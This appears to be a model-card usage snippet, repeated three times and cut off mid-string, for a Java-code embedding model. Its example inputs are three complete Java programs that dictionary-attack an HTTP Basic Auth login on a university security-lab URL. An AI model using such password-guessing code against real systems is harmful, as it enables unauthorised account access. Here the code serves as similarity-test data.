print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    